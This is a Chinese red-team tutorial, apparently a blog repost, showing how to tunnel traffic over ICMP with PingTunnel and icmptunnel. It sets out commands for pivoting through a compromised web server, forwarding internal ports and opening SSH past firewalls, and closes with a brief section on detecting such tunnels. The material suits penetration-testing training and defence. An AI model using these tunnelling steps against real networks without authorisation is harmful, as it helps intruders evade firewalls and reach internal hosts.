• 红队隧道应用篇之ICMP协议传输(八)


    简介

    ICMP协议

    ICMP(Internet Control Message Protocol), 全称为Internet控制报文协议, 它是TCP/IP协议的一个子协议,用于在IP主机、路由器之间传递控制消息。

    控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

    ping命令使用第三层即网络层协议,通过ICMP载荷发送消息,该数据包会被封装上IP头

    使用场景

    在渗透测试工作中,经常会碰到web入口机或内网主机无论使用TCP、UDP都无法使其上线c2服务端,而且web入口主机被层层waf保护,reg、abtts、tunna等HTTP代理都无法使用的情况。如果目标主机可以ping通外网,不拦截icmp数据包,那此时可选择使用icmp协议隧道把目标内网流量转发出来。防火墙一般也不会屏蔽ping的数据包

    ICMP隧道原理

    将包含payload的IP流量封装在ICMP请求数据包中, 并发送给ICMP服务端, 服务端收到数据包后会对其解包并转发IP流量, 在发往客户端的数据包会再次封装在ICMP回复数据包中

    也就是说客户端与服务端之间的通信只使用了ICMP协议

    PingTunnel工具

    PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码

    环境拓扑

    image-20221101154653612

    工具安装

    在kali安装libpcap的依赖环境

    apt-get install byacc
    apt-get install flex bison
    
    • 1
    • 2
    image-20221030193724865 image-20221030193730202

    执行如下命令, 下载libpcap的依赖库: http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz

    wegt http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
    tar -zxvf libpcap-1.9.0.tar.gz
    cd libpcap-1.9.0
    ./configure
    make && make install
    
    • 1
    • 2
    • 3
    • 4
    • 5
    image-20221030195623029 image-20221030195605719

    执行如下命令, 下载PingTunnel: http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

    wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
    tar -zxvf PingTunnel-0.72
    cd PingTunnel
    make && make install
    
    • 1
    • 2
    • 3
    • 4
    image-20221030200101599

    报错解决

    在web服务器也要按照如上步骤安装依赖环境和PingTunnel工具, 此处我的web服务器是ubuntu, 在使用ptunnel命令时遇到如下图所示的错误, 解决方法很简单

    image-20221030212814945

    建立软连接

    sudo ln -s /usr/local/lib/libpcap.so.1  /usr/lib/libpcap.so.1
    
    • 1

    增加如下内容至/etc/ld.so.conf文件

    /usr/local/lib
    /usr/lib
    
    • 1
    • 2
    image-20221030213023978

    重新加载配置: ldconfig

    image-20221030213139961

    使用步骤

    在web服务器执行如下指令, 设置icmp隧道连接密码

    ptunnel -x henry666  //创建连接密码
    
    • 1
    image-20221030230628189

    在kali(攻击机)执行如下命令连接web服务器, 意思是当访问本地(kali)的1080端口时, 会把内网主机80端口的数据封装在ICMP隧道中, 以Web服务器作为跳板与kali进行数据交互

    ptunnel -p 192.168.47.151 -lp 1080 -da 192.168.52.129 -dp 80 -x henry666
    
    • 1

    -p: 指定ICMP隧道另一端的IP(跳板机IP)

    -lp: 监听的本地端口

    -da: 指定要转发的目标主机IP

    -dp: 指定要转发的目标主机端口

    -x: 指定连接密码

    随后kali访问本机的1080端口, 即可访问到内网主机的80端口

    image-20221030234653308

    icmptunnel工具

    工具介绍

    IcmpTunnel工具是jamesbarlow师傅用C语言写的, 通过创虚拟网卡, 使用ICMP协议传输IP流量, 以此来通过有状态的防火墙和NAT进行隧道传输

    工具下载地址: https://github.com/jamesbarlow/icmptunnel

    此工具的使用条件如下:

    • 要求攻击机(服务端)与目标主机(客户端)是linux环境
    • 目标主机能够ping通攻击机

    环境拓扑

    image-20221031213914177

    操作步骤

    将icmptunnel文件拷贝至攻击机和目标主机, 并在其文件夹内运行make命令编译工具

    image-20221031110229622

    在攻击机和目标主机输入如下命令, 禁用内核PING

    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    
    • 1
    image-20221031110457524

    进入icmptunnel文件夹执行如下命令, 在攻击机建立虚拟网卡并分配IP

    root@kali:~/桌面/icmptunnel# ./icmptunnel -s
    opened tunnel device: tun1
    
    • 1
    • 2
    root@kali:~/桌面/icmptunnel# ifconfig tun0 10.0.0.1 netmask 255.255.255.0
    root@kali:ifconfig
    
    • 1
    • 2

    注意: 分别用两个Shell执行以上两行命令

    image-20221031211600031

    目标主机输入如下命令连接服务端并分配IP, 连接成功会显示"connection established"

    root@ubuntu:/home/xiaodi/Desktop/icmptunnel# ./icmptunnel 192.168.47.134
    opened tunnel device: tun0
    connection established.
    
    • 1
    • 2
    • 3
    root@ubuntu:/home/xiaodi# ifconfig tun0 10.0.0.2 netmask 255.255.255.0
    root@ubuntu:ifconfig
    
    • 1
    • 2
    image-20221031211632081

    完成以上步骤则代表隧道建立完毕, 可以在攻击机(服务端)使用ssh连接目标主机(客户端)

    image-20221031211858403

    当然客户端也可以连接服务端

    image-20221031212006843

    抓包分析

    kali机用Wireshark抓取eth0网卡的流量, 可发现所有的TCP流量都封装至ICMP流量中

    image-20221031212450719

    抓取tun0网卡的流量, 数据包都是TCP或SSH的, 也就是说TCP流量是通过tun0进行点对点之间的传输

    image-20221031213109347

    入侵检测

    1.检查虚拟网卡信息

    输入ifconfig查看网卡配置信息, 若发现陌生的网卡, 则很有可能是有问题的

    2.查看系统的内核ping是否被禁止

    终端命令行输入: cat /proc/sys/net/ipv4/icmp_echo_ignore_all, 若为1则表示ping被禁止了

    image-20221101153127453

    3.抓包分析是否有异常ICMP数据包

    image-20221101153338325

    参考文章

    • https://blog.csdn.net/weixin_42282667/article/details/123359169

    • https://blog.csdn.net/weixin_44604541/article/details/118898232

    • https://cloud.tencent.com/developer/article/2098581

  • 相关阅读:
    【无标题】
    EL表达式内置对象param和paramValues
    【JS学习】--深拷贝与浅拷贝
    tsconfig.json在配置文件中找不到任何输入,怎么办?
    Redis配置文件
    一条SQL语句执行的顺序
    我赢助手教你抖音短视频实操课:如何写出爆款标题(上)爆款标题的分类
    AI算法优缺点
    怎么快速定位bug?怎么编写测试用例?
    HTML5+CSS3小实例:点画文字悬停效果
  • 原文地址:https://blog.csdn.net/xf555er/article/details/132722949